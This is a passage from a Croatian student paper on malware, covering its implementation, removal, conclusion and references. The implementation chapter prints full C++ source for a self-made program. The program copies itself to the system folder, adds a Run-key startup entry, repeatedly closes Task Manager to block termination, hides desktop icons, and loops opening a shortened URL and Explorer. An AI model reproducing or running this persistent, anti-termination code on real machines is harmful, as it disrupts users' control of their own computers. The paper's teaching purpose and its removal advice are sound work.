testiranih plaćenih antivirusa, budući da su svi vrlo kvalitetni. 30 5. Implementacija programskog riješenja Kao praktični dio ovog rada odlučili smo izraditi svoj maliciozni kod u programskom jeziku C++. Maliciozni kod koji smo izradili radi sljedeće: Kopira se u sistemski folder te se dodaje u registry kao Startup Entry, Blokira pokretanje Task Managera, Nakon otprilike 11 sekundi nakon pokretanja malicioznog koda otvara se odreĎena stranica, koja je zapisana u kodu programa, u korisnikovom zadanom pregledniku. Potom se nakon 20 sekundi otvara My Documents, a zatim se nakon 44 sekunde ponovno otvara stranica i tako u krug, Nestanu sve ikone s Desktopa. 5.1. Izrada Prvo što smo odlučili postaviti bile su postavke kompajlera (engl. Compilera) u kojima smo definirali da nam se ne pokazuje konzolni prozor (engl. Console Window) jer bi to ţrtvi uvelike olakšavalo gašenje procesa. Podešavanje spomenute postavke prikazano je na sljedećoj slici: Slika 2: Podešavanje postavki 31 Počeli smo kreirati odreĎene funkcije. Prva funkcija koju ćemo prikazati je postaviStartUpEntry(): void postaviStartUpEntry(){ char system[MAX_PATH]; char putanja[MAX_PATH]; HMODULE program = GetModuleHandle(NULL); GetModuleFileName(program, putanja, sizeof(putanja)); GetSystemDirectory(system, sizeof(system)); strcat(system, "\\projekt.exe"); CopyFile(putanja, system, false); while(1){ HKEY hKey; RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey); RegSetValueEx(hKey, "SiS projekt", 0, REG_SZ, (const unsigned char*)system, sizeof(system)); RegCloseKey(hKey); } } Ova funkcija nakon što dohvati putanju sistemskog foldera, kopira program u isti, a zatim dodaje program u registry kao StartUp Entry kako bi se program pokrenuo pri novom pokretanju Windowsa. Sljedeća funkcija koju ćemo prikazati je sakriTaskManager(): void sakriTaskManager(){ HWND TaskManager; while(1){ TaskManager = FindWindow(NULL, "Windows Manager"); if(TaskManager != NULL){ SendMessage(TaskManager, WM_CLOSE, 0, 0); } } } 32 Task Prikazana funkcija se brine o tome da ukoliko ţrtva pokuša pokrenuti Task Manager kako bi ubio proces, on ga automatski ugasi i time ne dopušta ţrtvi da prekine izvoĎenje malicioznog koda. Funkcija koja slijedi sakriva Desktop ikone, a zove se sakriDesktopIkone(): void sakriDesktopIkone(){ HWND desktopIkone = NULL; HWND progman = FindWindow("Progman", 0); if (progman){ HWND desktop = FindWindowEx(progman, 0, "SHELLDLL_DefView", 0); if (desktop) desktopIkone = FindWindowEx(desktop, 0, "SysListView32", 0); } while(1) ShowWindow(desktopIkone, SW_HIDE); } Kao što i samo ime govori, dana funkcija brine se o tome da nestanu sve ikone s Desktopa. Naposljetku slijedi najednostavnija funkcija, a to je otvoriStranicu(): void otvoriStranicu(){ while(1){ Beep(300, 300); Sleep(11111); ShellExecute(NULL, "open", "http://tinyurl.com/2uz3gqw", NULL, NULL, SW_MAXIMIZE); Sleep(19999); ShellExecute(NULL, "open", "Explorer", NULL, NULL, SW_SHOWNORMAL); Sleep(33333); } } 33 Ova funkcija odmah na početku bipne, a potom nakon zadanog broja sekundi otvara navedenu stranicu u zadanom pregledniku, a zatim opet nakon zadanog broja sekundi otvara My Documents i to sve se ponavlja svakih 40ak sekundi. Još je samo preostalo prikazati main() funkciju u kojoj je definirana dretva za svaku prije navedenu funkciju te beskonačna petlja kako bi se program beskonačno obavljao: int main(){ CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)postaviStartUpEntry, NULL, 0, NULL); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)sakriTaskManager, NULL, 0, NULL); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)otvoriStranicu, NULL, 0, NULL); CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)sakriDesktopIkone, NULL, 0, NULL); while(1){ //vrti se vrti petljo } return 0; } Kompletni kod bit će priloţen uz rad u obliku .cpp datoteke. 34 5.2. Uklanjanje Uklanjanje ovog našeg koda ne predstavlja velike probleme za osobu koja ponešto zna o analizi i uklanjanju malicioznog koda. Kao i većinu ostalih malicioznih koda i ovaj naš moţe se ukloniti iz SafeModa tako da pobriše iz sistemskog foldera i pobriše se kreirani StartUp Entry. Osim navedene mogućnosti, ukoliko se ţrtva sjeti Process Explorera moţe ugasiti proces, a zatim ga nesmetano pobrisati iz sistemskog foldera kao i iz registry-ija. A za one, manje vješte, tu je Kaspersky – Virus Removal Tool koji za koju minutu pronalazi naš maliciozni program, kao što je prikazano na sljedećoj slici, te ga uspješno uklanja. Slika 3: Uklanjanje malicioznog programa antivirusnim programom 35 6. Zaključak Tijekom pisanja ovog rada zaista smo naučili mnogo o vrstama malicioznog koda i o načinima njihovog djelovanja. TakoĎer smo ostali iznenaĎeni činjenicom koliko je sve to skupa naraslo – nekad se govorilo uglavnom o virusima, dok su sad virusi samo djelić djelića malicioznog koda. Što se tiče testiranja antivirusa, iako smo planirali testirati antiviruse na svoju ruku, ipak smo se odlučili na nešto lakšu varijantu. Razlozi su brojni. Testiranje na vlastitom računalu bi uzelo previše vremena, kojeg uvijek fali. Drugi razlog je i način testiranja komercijalnih antivirusa. Budući da je kupnja licence za svaki od testiranih rješenja financijski neisplativa, ostali bismo osuĎeni na trial inačice pojedinih rješenja. No, kako se često zna dogoditi da trial inačice nisu dostojne svojih punih inačica, odlučili smo se za ovu soluciju. Nadamo se da ćemo eventualnim čitateljima pribliţiti ovu svakodnevno rastuću materiju i da će shvatiti vaţnost adekvatne zaštite svojih računala. 36 7. Literatura Vukušić, M. (2005). Virusi u izvršnim datotekama. Zavod za primijenjenu matematiku, FER Zagreb. Dostupno 06.01.2011. na http://web.zpr.fer.hr/ergonomija/2005/vukusic/virusi.pdf Heidari, M. (2004). Malicious Codes in Depth. Dostupno 06.01.2011. na http://target0.be/madchat/vxdevl/papers/avers/Mal_Codes_in_Depth.pdf Zavod za sigurnost informacijskih sustava, p.p. 916, 10000 Zagreb (2009). Virusi, crvi i trojanski konji Dostupno 06.01.2011. na http://www.zsis.hr/site/Preporuke/Virusicrviitrojanskikonji/tabid/100/Default.aspx ESET spol.s.r.o.,ESET LLC, NORT d.o.o.(2006), Definicije zlonamjernog softvera. Dostupno 09.01.2011. na http://www.nod32.com.hr/eset2009/ThreatCenter/Vrsteopasnosti/tabid/1915/language/enUS/Default.aspx#ro http://groups.google.com/group/rec.games.programmer/browse_thread/thread/86a426b0147 496d8/3b5d1936eb4d0f33?lnk=st&q=&rnum=8#3b5d1936eb4d0f33, dostupno 06.01.2011. Na linku se nalazi izvorna poruka u kojoj se prvi puta spominje pojam „spyware“. Scott Yoder (2010). Different Types of Spyware. Dostupno 06.01.2011. na http://www.ehow.com/list_6457947_different-types-spyware.html SearchSecurity.com (2008.). Botnet. Dostupno 07.01.2011. na http://searchsecurity.techtarget.com/sDefinition/0,,sid14_gci1030284,00.html. Mediati, N. (2010.). Top 5 Free Antivirus for 2011. PC World. Dostupno 8.1.2011. na http://www.pcworld.com/reviews/collection/5928/2011_free_av.html Mediati, N. (2010.). Top 5 Paid Antivirus for 2011. PC World. Dostupno 8.1.2011. na http://www.pcworld.com/reviews/collection/5927/2011_paid_av.html 37
© Copyright 2024 Paperzz